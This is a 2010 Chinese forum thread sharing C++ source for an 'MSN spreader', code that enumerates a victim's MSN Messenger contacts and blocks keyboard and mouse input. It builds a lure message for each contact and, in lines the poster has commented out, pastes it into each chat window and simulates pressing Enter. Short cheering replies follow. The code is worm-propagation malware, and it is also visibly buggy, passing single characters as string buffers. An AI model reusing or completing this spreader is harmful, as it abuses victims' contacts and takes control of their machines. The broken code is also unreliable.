A-new 发表于 2010-4-1 16:35

MSN spreader

#include <io.h>
#include <stdio.h>
//#include <Shlwapi.h>
#include <windows.h>
#include <Winable.h>
#include <Tlhelp32.h>

#import "MSNMessengerAPI.tlb" named_guids, no_namespace



void to_variant(BSTR, VARIANT & vt);
void SetSendMsg(char*, HWND);
int SendMsnMsg(char * );
BOOL IsFindMSNProcess(char*);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
char pMyMsg[]="Hi! I love you baby!";
char szMSNProcessName[]="msnmsgr.exe";
if (IsFindMSNProcess(szMSNProcessName))
{
SendMsnMsg(pMyMsg);
}else MessageBox(NULL,"MSN未运行!","Bad Boy",MB_OK);

return 0;
}
int SendMsnMsg(char * pSendMsg)
{
IMSNMessenger3 *pIMessenger = NULL;
CoInitialize(0);

HRESULT hr = CoCreateInstance(CLSID_Messenger,NULL,CLSCTX_ALL,IID_IMSNMessenger2,(void**)&pIMessenger);

char szMsnMsg;
char szBuf;

if (SUCCEEDED(hr))//1
{
IDispatch * dispContacts = NULL;
pIMessenger->get_MyContacts(&dispContacts);
if (SUCCEEDED(hr))//2
{
IMSNMessengerContacts *pIMessengerContacts = NULL;
hr = dispContacts->QueryInterface(__uuidof(pIMessengerContacts),(LPVOID*)&pIMessengerContacts);
if (SUCCEEDED(hr))//3
{
IDispatch * dispContact = NULL;
IMSNMessengerContact *pIMessengerContact = NULL;
long iContacts;
hr = pIMessengerContacts->get_Count(&iContacts);
if (SUCCEEDED(hr))//4
{
BlockInput(true);
for (long i = 0; i < iContacts; i++)
{
hr = pIMessengerContacts->raw_Item(i,&dispContact);
if (SUCCEEDED(hr))//5
{
hr = dispContact->QueryInterface(__uuidof(pIMessengerContact),(LPVOID*)&pIMessengerContact);
if (SUCCEEDED(hr))//6
{
BSTR szContactName;
VARIANT vt_user;
MISTATUS miStatus;
IDispatch *pIDispatch = NULL;

// IMSNMessengerWindow *pIMessengerWindow;
// LONG wndIM;

hr = pIMessengerContact->get_Status(&miStatus);
if (SUCCEEDED(hr))//7
{
char szOut;
sprintf(szOut,"%d",miStatus);
MessageBox(NULL,szOut,"Status",MB_OK);
if (miStatus == MISTATUS_OFFLINE)
{
MessageBox(NULL,"MSN未登录!","Fuck",MB_OK);
pIMessengerContact->Release();
dispContact->Release();
continue;
}
}
pIMessengerContact->get_SigninName(&szContactName);
VariantInit( &vt_user );
to_variant(szContactName, vt_user);
_bstr_t tmp = szContactName;
sprintf(szBuf, "%s", (LPCTSTR)tmp);
sprintf(szMsnMsg, "%s%s", pSendMsg, szBuf);

Sleep(3000);
// hr = pIMessenger->raw_InstantMessage(vt_user,&pIDispatch);
// if (SUCCEEDED(hr))
// {
// hr = pIDispatch->QueryInterface(IID_IMSNMessengerWindow, (void **)&pIMessengerWindow);
// if (SUCCEEDED(hr))
// {
// Sleep(10);
// pIMessengerWindow->get_HWND(&wndIM);
// SetForegroundWindow((HWND) wndIM);
// SetFocus((HWND) wndIM);
// ShowWindow((HWND) wndIM,0);
// srand(GetTickCount());
// SetSendMsg((char *)szMsnMsg, (HWND) wndIM);
// keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0);
// keybd_event(VkKeyScan('V'), 0, 0, 0);
// keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
// keybd_event(VK_RETURN, 0, 0, 0);
// }
// }
pIMessengerContact->Release();
dispContact->Release();
}
}
}
BlockInput(false);
pIMessengerContacts->Release();
}
dispContacts->Release();
}
}
pIMessenger->Release();
}
CoUninitialize();

return 0;
}

void SetSendMsg(char* text, HWND hwnd)
{
HGLOBAL hData;
LPVOID pData;
OpenClipboard(hwnd);
EmptyClipboard();
hData = GlobalAlloc(GMEM_DDESHARE | GMEM_MOVEABLE, strlen(text) + 1);
pData = GlobalLock(hData);
strcpy((LPSTR)pData, text);
GlobalUnlock(hData);
SetClipboardData(CF_TEXT, hData);
CloseClipboard();
}

void to_variant(BSTR str, VARIANT& vt)
{
reinterpret_cast<_variant_t&>(vt) = str;
}

BOOL IsFindMSNProcess(char* pMsnProcessName)
{
BOOL retval = FALSE;

DWORD dwRet = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS,0 );
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof( PROCESSENTRY32 );
int flag = Process32First( hSnapshot, &processInfo );

// Find the process with name as same as pMsnProcessName
while (flag != 0)
{
if (strcmp(processInfo.szExeFile, pMsnProcessName) == 0) {
retval = TRUE;
}
flag = Process32Next(hSnapshot, &processInfo);
} // while (flag != 0)
CloseHandle(hSnapshot);

return retval;
}

发消息的地方注释掉了,逆病毒网上找了点源码,实现了一下MSN发消息功能,VC6编译通过,“MSNMessengerAPI.tlb”自行网上下载

wxsybl 发表于 2010-4-1 17:13

沙发...顶顶顶....

曹无咎 发表于 2010-9-8 19:31

祝楼主早日康复

mingyuan 发表于 2010-9-8 20:59

:loveliness:支持 楼主!!!
页: [1]
查看完整版本: MSN spreader